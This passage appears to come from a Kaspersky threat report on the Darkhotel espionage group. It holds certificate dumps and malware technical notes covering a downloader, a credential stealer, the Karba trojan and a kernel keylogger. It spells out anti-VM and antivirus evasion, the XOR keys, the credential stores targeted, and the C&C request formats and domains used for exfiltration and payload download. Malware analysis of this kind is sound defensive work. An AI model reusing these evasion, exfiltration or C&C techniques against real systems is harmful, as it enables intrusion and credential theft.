AYb4QgEBBAQDAgbAMA4GA1UdDwEB/wQEAwIE8DAfBgNVHSMEGDAWgBQrN1OTZEdm
I08A0/fd6DC2W4SJIzA5BgNVHR8EMjAwMC6gLKAqhihodHRwOi8vY3JsLmdsb2Jh
bHNpZ24ubmV0L3N1cmVzZXJ2ZXIuY3JsMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcN
AQEFBQADggEBABFuFUSw0amYYSfA8iisUHDmYyXydexNMP4KNO13VErUUw9g1kWK
cG9fyMK9jU1r4vTWQ8w0/q26tuzLiGgNOLqZuRhzyR0Fl16VQ8WSqQD2L02MUQm7
InS0njSW2ZyC0vssvgwpTVBfpTwa1TjK2XR6gcUReaRNxiOBFCvTsUYYtsDiSpe2
B8PXtndR2U8FIUW7sHxPvG72cmIiKBywBnACK8URttDD4M7Xgf/Wx5cDnYdotzrE
Uxi/zOSzf/xrg7E1BMHu6kLVv8JX/xijzlKkLJIqb7aYYkWYlnaQgDK5jP6TqIbp
UGKaphFSHYFn3ITt2OQ9obcPhf2xS2+9/jw=
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 71:a9:60:1f:3d:87:46:30:9b:bf:5e:cf:28:24:8
b:fe
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
52
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network,
OU=Terms of use at https://www.verisign.com/rpa (c)09,
CN=VeriSign Class 3 Secure OFX CA G3
Validity
Not Before: Oct 26 00:00:00 2009 GMT
Not After : Oct 26 23:59:59 2010 GMT
Subject: C=US, ST=Missouri, L=Bridgeton, O=Vantage Credit
Union, OU=IT Department, CN=secure2.eecu.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:be:6e:4a:59:2e:33:40:79:33:79:d9:9b:34:68:
a6:74:f1:7f:02:d1:ac:91:21:5a:e1:bf:34:03:62:
33:0d:bb:bc:0a:29:ec:9c:fd:ea:16:ac:9d:e3:1b:
6f:7d:c7:68:ef:ee:04:03:6f:83:23:cd:1e:82:bb:
ab:24:6d:22:7f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Key Encipherment
X509v3 CRL Distribution Points:
Full Name:
URI:http://ofxG3crl.verisign.com/OFXG3.crl
Authority Information Access:
OCSP URI:
http://ocsp.verisign.com
CA Issuers URI:
http://ofxG3aia.verisign.com/OFXG3.cer
X509v3 Certificate Policies:
Policy: 2.16.840.1.113733.1.7.23.3
CPS: https://www.verisign.com/rpa
2.16.840.1.113733.1.6.7:
.
74cb5e68cb6fa8877cc86c25d1d7ce05
Signature Algorithm: sha1WithRSAEncryption
19:35:da:ac:91:36:a2:6c:7e:a0:96:75:9c:23:e1:e2:c3:f5:
9e:76:6d:42:6e:3a:2f:c6:23:79:ed:33:7b:c4:d4:a3:58:c3:
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
53
f3:30:e2:69:4e:f9:01:89:41:f7:6a:dd:03:1f:6a:c9:e3:c9:
ab:68:9f:6c:f6:67:31:76:32:e6:75:7b:e5:3a:31:3c:91:7e:
e2:a0:94:18:ef:c9:75:d8:b2:28:bf:ed:8c:e4:69:0b:a6:95:
aa:7c:3c:41:07:0e:fb:80:35:54:4c:3b:c8:c3:ac:2b:c2:86:
c5:a8:61:20:38:22:e9:9c:23:82:d7:e3:80:ee:f1:aa:c6:cd:
27:42:d2:3f:9a:83:66:db:41:66:ee:e7:4a:f9:75:c0:bd:e6:
6c:dd:0e:e2:e5:34:8d:79:2c:cc:cb:79:1b:b0:46:08:ed:18:
ce:38:65:b5:f0:87:fc:23:12:fe:9f:03:d3:0b:5b:0e:e8:9d:
b5:c3:b7:36:f3:b9:42:4c:c4:64:5b:5f:d4:68:ec:40:de:a3:
29:92:8a:a9:75:78:8a:bb:07:e4:49:c4:80:5e:94:c5:6c:7a:
50:a5:7d:90:18:6b:0d:49:69:f9:93:d6:5b:24:82:a7:85:ee:
d8:f4:fe:6e:f5:81:0c:e2:de:5c:44:c2:f6:67:ee:e3:f0:8c:
07:ff:34:90
BEGIN CERTIFICATE
MIIEOzCCAyOgAwIBAgIQcalgHz2HRjCbv17PKCSL/jANBgkqhkiG9w0BAQUFADCB
sjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL
ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2Ug
YXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykwOTEsMCoGA1UEAxMj
VmVyaVNpZ24gQ2xhc3MgMyBTZWN1cmUgT0ZYIENBIC0gRzMwHhcNMDkxMDI2MDAw
MDAwWhcNMTAxMDI2MjM1OTU5WjCBhjELMAkGA1UEBhMCVVMxETAPBgNVBAgTCE1p
c3NvdXJpMRIwEAYDVQQHFAlCcmlkZ2V0b24xHTAbBgNVBAoUFFZhbnRhZ2UgQ3Jl
ZGl0IFVuaW9uMRYwFAYDVQQLFA1JVCBEZXBhcnRtZW50MRkwFwYDVQQDFBBzZWN1
cmUyLmVlY3UuY29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL5uSlkuM0B5M3nZ
mzRopnTxfwLRrJEhWuG/NANiMw27vAop7Jz96hasneMbb33HaO/uBANvgyPNHoK7
qyRtIn8CAwEAAaOCAT0wggE5MAkGA1UdEwQCMAAwCwYDVR0PBAQDAgWgMDoGA1Ud
HwQzMDEwL6AtoCuGKWh0dHA6Ly9vZngtRzMtY3JsLnZlcmlzaWduLmNvbS9PRlgt
RzMuY3JsMGsGCCsGAQUFBwEBBF8wXTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3Au
dmVyaXNpZ24uY29tMDUGCCsGAQUFBzAChilodHRwOi8vb2Z4LUczLWFpYS52ZXJp
c2lnbi5jb20vT0ZYLUczLmNlcjBEBgNVHSAEPTA7MDkGC2CGSAGG+EUBBxcDMCow
KAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEwMAYKYIZI
AYb4RQEGBwQiFiA3NGNiNWU2OGNiNmZhODg3N2NjODZjMjVkMWQ3Y2UwNTANBgkq
hkiG9w0BAQUFAAOCAQEAGTXarJE2omx+oJZ1nCPh4sP1nnZtQm46L8Yjee0ze8TU
o1jD8zDiaU75AYlB92rdAx9qyePJq2ifbPZnMXYy5nV75ToxPJF+4qCUGO/Jddiy
KL/tjORpC6aVqnw8QQcO+4A1VEw7yMOsK8KGxahhIDgi6ZwjgtfjgO7xqsbNJ0LS
P5qDZttBZu7nSvl1wL3mbN0O4uU0jXkszMt5G7BGCO0YzjhltfCH/CMS/p8D0wtb
DuidtcO3NvO5QkzEZFtf1GjsQN6jKZKKqXV4irsH5EnEgF6UxWx6UKV9kBhrDUlp
+ZPWWySCp4Xu2PT+bvWBDOLeXETC9mfu4/CMB/80kA==
END CERTIFICATE
Certificate:
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
54
Data:
Version: 3 (0x2)
Serial Number:
(Negative)0a:40:06:6d:24:7d:41:54:b2:c3:e9:e2
:a4:57:97:59
Signature Algorithm: md5WithRSAEncryption
Issuer: CN=Root Agency
Validity
Not Before: Jun 9 10:31:21 2009 GMT
Not After : Dec 31 23:59:59 2039 GMT
Subject: CN=Microsoft
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (1024 bit)
Modulus:
00:cd:25:d3:98:06:2d:91:f1:ad:d7:17:32:66:0a:
d6:25:a0:7f:ff:2e:6c:68:95:f9:92:09:a0:63:a5:
80:54:22:e6:92:13:b8:67:05:3f:80:69:34:07:e4:
c3:00:bc:86:f3:51:64:22:d7:ab:07:be:e5:f7:e7:
97:b3:3d:9f:fc:10:b0:52:e7:d1:62:40:2a:18:83:
b6:4d:62:e6:f5:9f:fe:16:5e:41:d7:2b:af:54:a7:
8e:af:a9:08:df:39:b2:cb:cf:bf:52:c3:bf:04:8f:
a0:c0:16:89:ce:06:df:6e:d9:26:8a:a7:01:f8:9b:
23:35:3b:4c:96:6d:4a:10:41
Exponent: 65537 (0x10001)
X509v3 extensions:
2.5.29.1:
0>........
O..a!..dc..0.1.0...U....Root Agency...7l...d......\5.
Signature Algorithm: md5WithRSAEncryption
1a:0c:28:45:f5:5e:b1:a9:04:3a:30:7a:0b:e2:dd:f2:7c:89:
22:ac:17:b5:f3:87:6f:e4:09:9e:55:73:f9:11:7b:11:d2:d7:
26:08:03:47:6f:6b:b5:1d:24:04:50:d4:cb:91:99:ac:13:72:
16:32:05:be:7e:1a:79:29:19:5e
BEGIN CERTIFICATE
MIIBuTCCAWOgAwIBAgIQ9b/5ktuCvqtNPBYdW6hopzANBgkqhkiG9w0BAQQFADAW
MRQwEgYDVQQDEwtSb290IEFnZW5jeTAeFw0wOTA2MDkxMDMxMjFaFw0zOTEyMzEy
MzU5NTlaMBQxEjAQBgNVBAMTCU1pY3Jvc29mdDCBnzANBgkqhkiG9w0BAQEFAAOB
jQAwgYkCgYEAzSXTmAYtkfGt1xcyZgrWJaB//y5saJX5kgmgY6WAVCLmkhO4ZwU/
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
55
gGk0B+TDALyG81FkIterB77l9+eXsz2f/BCwUufRYkAqGIO2TWLm9Z/+Fl5B1yuv
VKeOr6kI3zmyy8+/UsO/BI+gwBaJzgbfbtkmiqcB+JsjNTtMlm1KEEECAwEAAaNL
MEkwRwYDVR0BBEAwPoAQEuQJLQYdHU8AjWEh3BZkY6EYMBYxFDASBgNVBAMTC1Jv
b3QgQWdlbmN5ghAGN2wAqgBkihHPuNSqXDX0MA0GCSqGSIb3DQEBBAUAA0EAGgwo
RfVesakEOjB6C+Ld8nyJIqwXtfOHb+QJnlVz+RF7EdLXJggDR29rtR0kBFDUy5GZ
rBNyFjIFvn4aeSkZXg==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9
Signature Algorithm: sha1WithRSAEncryption
Issuer: O=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:00:51 2009 GMT
Not After : Feb 13 19:00:51 2011 GMT
Subject: CN=inpack.syniverse.com,
C=US/emailAddress=belinda.jablonski@syniverse.com, L=Tampa
, O=Syniverse Technologies Inc., OU=Crossroads, ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5:
40:7f:bb:e9:35
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
SSL Client, SSL Server
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B
6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
56
URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a:
44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5:
21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53:
2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22:
ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad:
d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5:
c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef:
1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d:
18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba:
7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41:
98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc:
a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16:
10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23:
bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3:
33:48:18:ae
BEGIN CERTIFICATE
MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG
A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl
cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD
VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG
9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT
BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR
BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B
AQEFAANLADBIAkEApRNTFwL3zTNkfegnj+m8q9uWO0ENtsQqENVkWIesYt4JLsVf
ecXVniabGprjmTviLkh+nF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG
+EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP
ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz
aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB
BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd
h+7catTn9NT5pgS7YFMrFBmKLC4fao+XItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A
Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZu+lLc1T4kQJ6o1MvO8atix73xY5lIsz
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57
yxQWwpNCbE0Ymbp7+pF08JoerpK0lEO7lrp+at84nC58ETc3TCCAXWvilEGYfcwm
ysxPgU2VFrsm2x/+A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj+3gX
3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu
END CERTIFICATE
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
58
Appendix D. Malcode Technical Notes
Small Downloader
Filename      MD5                                 Link Time (UTC)           Linker
msieckc.exe   41b816289a6a639f7f2a72b6c9e6a695    2012.04.11 18:31:48       6.0
Technical Details
To ensure only single instance of the module is running, the module verifies if
system mutex named «132DF6E» exists.
If it exists the module exits, if not ­the
module creates one.
The module implements a method to resist running in virtual environment.
It gets
CPU name and identifier from the registry at HKLM\HARDWARE\DESCRIPTION\
System\CentralProcessor\0
and collects IP and MAC addresses of local network adapters.
After that it
compiles a string describing the system in the following format: « C P U :
%CPUNAME%<br> Net card : %IP% (%MACADDR%)<br>».
Next it checks if this
string contains one of the following substrings:
•	 	«VMWARE»
•	 	«QEMU»
•	 	«192.168.100.»
If any of these strings is found, the module terminates.
After that, there is a hardcoded value of 10, which delays further execution of the
module for 10 seconds.
Then the module attempts to delete some other, prob-
ably older, components which might be present on the system.
The list of deleted
files includes the following:
•	 	%APPDATA%\Microsoft\Crypto\DES64v7\dtlcntr.exe
•	 	%APPDATA%\Microsoft\Crypto\DES64v7\googletoolbar.exe
•	 	%APPDATA%\Microsoft\Crypto\DES64v7\active.dll
•	 	%APPDATA%\Microsoft\Crypto\DES64v7\detect.dll
The next is step is to check if current directory has a file named «U».
If not, the
module proceeds with network communication routine.
But if this file is found it
does some additional checks.
If «U» file is older than 180 days, the module wipes
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59
the file.
If not, it triggers a special variable that makes module dormant and dis-
ables further communication with C&C server.
After all, if the module is ready and allowed to communicate with C&C server it
does that in the following manner.
1.
The module connects to autolace.twilightparadox.com (or automachine.
servequake.com) and issues a HTTP GET request with hardcoded User­Agent
string:
GET /major/images/view.php HTTP/1.1
User­Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0)
Host: autolace.twilightparadox.com
Connection: Keep­Alive
Cache­Control: no­cache
The server response should contain «DEXT87» string which is used to rec-
ognize valid response.
The malware locates «DEXT87» and reads the data
appended to it.
The appended data should be an IP address in plaintext.
This
is used a real C&C IP address.
Reading stops when non­digit or dot symbol is
found.
Here is an example of shortest possible valid server response:
HTTP/1.1 200 OK
Content­Length: 17
DEXT87192.168.1.1
2.
If the real C&C IP address is not valid the module may try to send identical
request again but using a different HTTP path: /major/images/read.php
If the C&C IP address is valid, the module issues another HTTP request:
GET /major/txt/read.php HTTP/1.1
User­Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;
SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Cen-
ter PC 6.0)
Host: autolace.twilightparadox.com
Connection: Keep­Alive
Cache­Control: no­cache
The server response can be one of the following:
a. DEXT87no
b. DEXT87up;<DATASIZE>;<DATA>
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60
Where <DATASIZE> is a decimal integer that represents length of <DATA>
field in bytes; <DATA> is a binary data separated from <DATASIZE> field by
semicolon.
Please note, that after receiving <DATA>, it is XORed with byte
value 0x55 and saved to a disk in a file named «ctfmon.exe» (current directory
is used).
Upon successful receiving of the file it is started in a new process.
Information Stealer
Filename      MD5                                  Link Time (UTC)           Linker
DmaUp3.exe 864cd4a59215a7db2740dfbe4a648053 2012.04.30                       6.0
00:25:59
This module is relatively large (455Kb) and comes as a part of WinRar SFX file
that drops and starts the module from %APPDATA%\Microsoft\Display\DmaUp3.
exe.
The main purpose of the module is to collect various secrets stored on a
local system.
This module is designed not to run on Windows with system default
codepage set to Korean.
Technical Details
From the very beginning this module checks if «bdagent.exe» process is running
on current system.
Bdagent.exe is a name for BitDefender Antivirus component.
If it is running, it uses simple AV heuristics evasion technique.
The code starts a
thread that simulates keystrokes of ESC keyboard key and then shows a system
modal message box.
Pushing ESC key closes the modal message box.
Right after
that keystroke generation thread is terminated and the module continues normal
execution as if «bdagent.exe» was not running.
Next the module makes sure only one instance of current code is running by
checking if system mutex object named «920111215» exists.
After that, the mod-
ule collects information about current system which includes the following:
•	   	Network adapter MAC address
•	   	CPU Name and Identifier
•	   	System default codepage
•	   	Windows OS and Service Pack versions
•	    	Hostname and IP address
•	     	Local user name
•	      	Cached passwords from Internet Explorer 6/7/8/9 (Protected Storage and
IntelliForms)
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61
•	 Mozilla Firefox stored secrets (<12.0)
•	 Chrome stored secrets
•	 MS Outlook Express accounts
•	 MS Windows Mail accounts
•	 MS Windows Live Mail accounts
•	 MS Outlook accounts (SMTP/IMAP/POP3/HTTP)
•	 MSN Messenger
•	 Gmail Notifier credentials
•	 Google Desktop accounts
•	 Google Talk accounts
If the module reveals that current System default codepage is 0412 (Korean) it
terminates.
There is one interesting specifics in Microsoft IntelliForms which reveals attack-
er’s interests.
IntelliForms technology keeps login/password information in the
registry in encrypted form.
However, there is no clear information about the corre-
sponding website which requires given login and password.
The only information
Intelliforms offers about the place where given login/password should be used
is a hash of the webpage URL.
So far, the attackers can steal logins and pass-
words but to understand where they are from they must guess the string which
produced given hash.
They have implemented this logics in the malware.
When
IntelliForms information is stolen the malware tries to check the list of known
login page URLs to recover the originating webpage address.
Here is the list of
URLs that are checked by the malware:
•
•
•
•
•
•
•
•
•
•
•
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62
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
The list of targeted services includes some local services specifically popular in:
•	 	United States
•	 	Russia
•	 	China
•	 	Japan
•	 	Middle Eastern countries
•	 	India
The module uses several simple XOR­based algorithms to encrypt embedded
string data.
String encryption/decryption functions use the following keys:
«Microsoft Corporation.
All rights reserved.»
«90ed768ab728a0f74a4b957c31f1a213»
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63
The module works with all Firefox versions prior to Mozilla Firefox 12.0.
Depend-
ing on version of Firefox, it can read Firefox database directly to dump stored se-
crets or utilize one Firefox libraries to access the configuration data.
In addition it
makes use of the following Mozilla Firefox libraries depending on Firefox version:
•	 	nss3.dll
•	 	plc4.dll
•	 	mozcrt19.dll
•	 	mozutils.dll
•	 	mozglue.dll
•	 	mozsqlite3.dll
•	 	sqlite3.dll
•	 	nspr4.dll
•	 	plds4.dll
•	 	nssutil3.dll
•	 	softokn3.dll
When stealing secrets from Firefox and Chrome it uses built­in SQLite library code.
The module is linked with SQLite version 3.7.5 release candidate 2, release
hash ed759d5a9edb3bba5f48f243df47be29e3fe8cd7 dated as 2011­01­28
17:03:50.
After stealing secrets from local system the malware executes some kind of
embedded script.
It is logging all actions to inform the operator what exactly was
executed by this variant of the malware.
The result of this execution is appended
to the stolen data and uploaded to the C&C server.
The module uploads all collected information to one of the following URLs via
POST request:
•
•
•
•
It’s the first time we see .pn domain used in malware.
This top level country code
domain is quite exotic and is assigned to Pitcairn Islands, which is Overseas ter-
ritory of the United Kingdom in the Pacific.
As of 2013 estimated population of
Pitcairn Islands is only 56 people.
An official .pn domain costs $100/year from
the registry, however .eu.pn domains seem to be given away for free.
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64
The malware uses fixed User­Agent string:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Cen-
ter PC 6.0)
The data is uploaded as a POST request binary in the following format:
<UserId>;<UniqueMachineId>;<EncryptionKey>;<GeneralSysInfo>
where <UserId> is hardcoded identifier (i.e.
«user2» in current sample);
<UniqueMachineId> is a 32 characters long hex string which derived from net-
work card MAC address; <EncryptionKey> is symmetrical encryption key used to
encrypt <UserId> and <GeneralSysInfo> values.
The malware uses text protocol,
which is why potentially binary values of <UserId> and <GeneralSysInfo> are ad-
ditionally encoded using Base64 algorithm.
<GeneralSysInfo> field contains only basic information about the system, i.e.
:
Info;
Sys@User : MYCOMPUTER@MyUser (0850)
C P U : Intel(R) Core(TM) i3­1667U CPU @ 1600GHz
System OS: Microsoft Windows XP (Service Pack 3)
Net card : 192.168.0.2 (133773311337)
If the server reply contains a keyword «minmei» it continues sending additional in-
formation.
«Minmei» may be a reference to a popular Japanese anime and manga
known as «The Super Dimension Fortress Macross».
A quote from Wikipedia:
«Born in Yokohama Chinatown, Japan (though she is of partial Chinese descent)
as Linn Minmei, Minmay moved in with her uncle Shaochin (少江) and aunt Feic-
hun (慧中) on South Ataria Island in hopes of finding the path to fulfill her dream
of becoming a star.»
Trojan.
Win32.Karba.e
Filename       MD5                                 Link Time (UTC)          Linker
acroedit.exe   0fe3daf9e8b69255e592c8af97d24649    2013.10.29 00:21:48      6.0
Technical Notes
The trojan iterates through running processes and looks for security software
basing on executable filenames from the list below.
If the process is found it
keeps a record of the software name using short AV Identifier string from the fol-
lowing table of rules
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65
Process Name               AV Identifier                Company Name, Country
ekrn.exe                   NOD                          ESET, Czech Republic
NVCAgent.npc               NV                           Naver NHN, Vietnam
360tray.exe                36                           Qihoo 360, China
msseces.exe                MS                           Microsoft, USA
uiWinMgr.exe               TR                           TrendMicro, Japan
AvastSvc.exe               AST                          Avast, Czech Republic
RsMgrSvr.exe               RS                           Rising, China
mcagent.exe                MC                           McAfee, USA
avgidsagent.exe            AV                           AVG, Czech Republic
ccsvchst.exe               NT                           Symantec, USA
bdagent.exe                BD                           BitDefender, Romania
avp.exe                    KS                           Kaspersky, Russia
V3LTray.exe                V                            AhnLab, South Korea
AYAgent.aye                AY                           ESTSoft, South Korea
The malware uses a trick to evade running on a VMware.
First, it checks if cur-
rent process is running in WOW64 environment.
If yes it does additional port
I/O specific to VMWare virtual machine (the VMware hypervisor port: 0x5658;
VMware hypervisor magic value: 0x564D5868).
Another method to detect VM en-
vironment is to check local network adapter’s IP address.
If it belongs to subnet
192.168.100.
* then the malware believes it’s running in a VM.
If VM is detected
the process instantly terminates.
Next the malware submits collected information to the C&C server using HTTP
GET request and the following URL format: http://<C2DOMAIN>/bin/read_i.php
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66
?a1=%STEPID%&a2=%HOSTID%&a3=%SYSINFO%&a4=% AVSOFTID%, where
%C2DOMAIN% is one of the following C&C domains:
•	 	micronaoko.jumpingcrab.com
•	 	microchsse.strangled.net
•	 	microbrownys.strangled.net
•	 	microplants.strangled.net
•	 	microlilics.crabdance.com
%STEPID% is special text string indicating stage of malware operation.
This string
varies depending on the local system language and may be one of the following:
•	 	«step2-down-k» for codepage 0412 (Korean)
•	 	«step2-down-j» for codepage 0411 (Japanese)
•	 	«step2-down-u» for codepage 0409 (English,US)
•	 	«step2-down-r» for codepage 0419 (Russian)
•	 	«step2-down-c» for codepage 0804 (Chinese)
•	 	“step2-down-b” for codepage 0409 (English,US)
•	 	«step2-down» for other codepages;
%HOSTID% is a special value generated from local network card MAC address;
%SYSINFO% is a string with general system information (please see description
above);
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67
%AVSOFTID% is a string that contains indexes of AV software names in internal
table of AV Identifiers (please see the table above).
Selective Infector
Technical Notes
Igfxext.exe can download a file and drop it to %APPDATA%\microsoft\dis-
play\ctfmon.exe (md5= e8bfb82b0dd5cef46116d61f62c25060).
After
execution, the downloaded file drops SMAGENT.EXE (md5 0306f9ae-
7786570139f78e78bc940597) to %APPDATA%\MICROSOFT\DISPLAY and ex-
ecutes it.
This component is a virus, and is used to selectively infiltrate into other
computers via USB or network shares.
Trojan-Dropper & Injector (infected legitimate files)
Technical Notes
A large number of files are detected by Kaspersky Lab scanners as Virus.
Win32.
Pioneer.dx.
These files are all legitimate files that have been infected by another
Darkhotel component.
All of these infected files drop a 63kb self injecting compo-
nent.
Filename      MD5                                  Link Time (UTC)          Linker
igfxext.exe   fcd2458376398b0be09eaa34f4f4d091     2012:07:27 17:10:30      6.0
This malware is 63kb in size.
It is bound to a variety of other software packages
that vary in name, but the host package is consistently detected as “Virus.
Win32.
Pioneer.dx”.
The igfxext.exe component is dropped to disk and run.
It spawns an-
other suspended process with its own igfxext.exe image, but decrypts a smaller
32kb executable (cf1319d94f33380622ba000b7d8ad6e9,Trojan­Downloader.
Win32.Agent.xwge) from its .data section in memory with a simple xor 0xbb.
The
running process overwrites the igfxext.exe image in the suspended process with
this smaller chunk of code.
It then resumes the thread in the new process.
This smaller code section maintains similar functionality to the “worm” compo-
nent:
•	 B	 ASICAPI window creation and update
•	 	VMWare detection/red pill
•	 	AV check
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68
•	 d	 maup3.exe checks
•	 p 	 roto.dat check
•	 s	 ystem information collection, encryption with
«ab911001f78ad31552e47205ecc46466» key and transfer to c2
Host package files detected as “Virus.
Win32.Pioneer.dx” are infected legitimate
files, that do not have any self­propagation routines.
Enhanced Keyloggers and Development
Technical Notes
It is signed with the familiar “                                    ” digital certificate.
77669d11c3248a6553d3c15cd1d8a60e ­csmrs.exe, 478.8kb,
CompliedOn:2010­11­11 08:46:47
Signed by                        certificate.
This sample is started by code running within svchost.exe on WinXP SP3.
It drops
a keylogger.
The debug path inside:
d:\KerKey\KerKey(일반)\KerKey\release\KerKey.pdb
Note ­일반 ­means “General” in Korean
The dropper above maintains, drops and installs this kernel mode keylogger:
md5: 86b18e99072ba72d5d36bce9a00fc052 filename: ndiskpro.sys
size: 295kb
CompiledOn:2009­11­24 11:56:22
Likely, it was developed as a part of a mid­to­late 2009 project:
e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c
Keylogger Code
This driver package is built to look like a legitimate low level Microsoft system
device.
It is installed as a system kernel driver “Ndiskpro” service, described as
a “Microcode Update Device”.
It is somewhat surprising that there is no rootkit
functionality hiding this service:
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69
When loaded, the NDISKPRO.SYS driver hooks both INT 0x01 and INT 0xff, and
retrieves keystroke data directly from port 0x60, the motherboard keyboard con-
troller itself.
Here we see the local port variables assigned values
And here, the ports are directly being read with READ_PORT_UCHAR(0x64) and
then READ_PORT_UCHAR(0x60):
It buffers, then communicates the data to the running user mode component.
This component then encrypts and writes the retrieved values ondisk to a ran-
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70
domly named .tmp, file like ffffz07131101.tmp.
This file is located in the same
directory as the original dropper, which maintains persistence across reboots with
a simple addition to the HKCU run key.
Here is debug output demonstrating this component’s data retrieval when the
letter “D” is repeatedly pressed on the keyboard.
Keyscan make and break codes
are “0x20” and “0xA0” and for the key press and key release for the “D” key.
The
“0x1D” value from port 0x64 that you see below is basically an indication that
the output buffer is full and the keyboard is locked, so it is safe for the driver to
access the key value in port 0x60:
0x60 port access, data = 0x20
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0xA0
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0x20
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0xA0
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
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71
0x60 port access, data = 0x20
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0xA0
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0x20
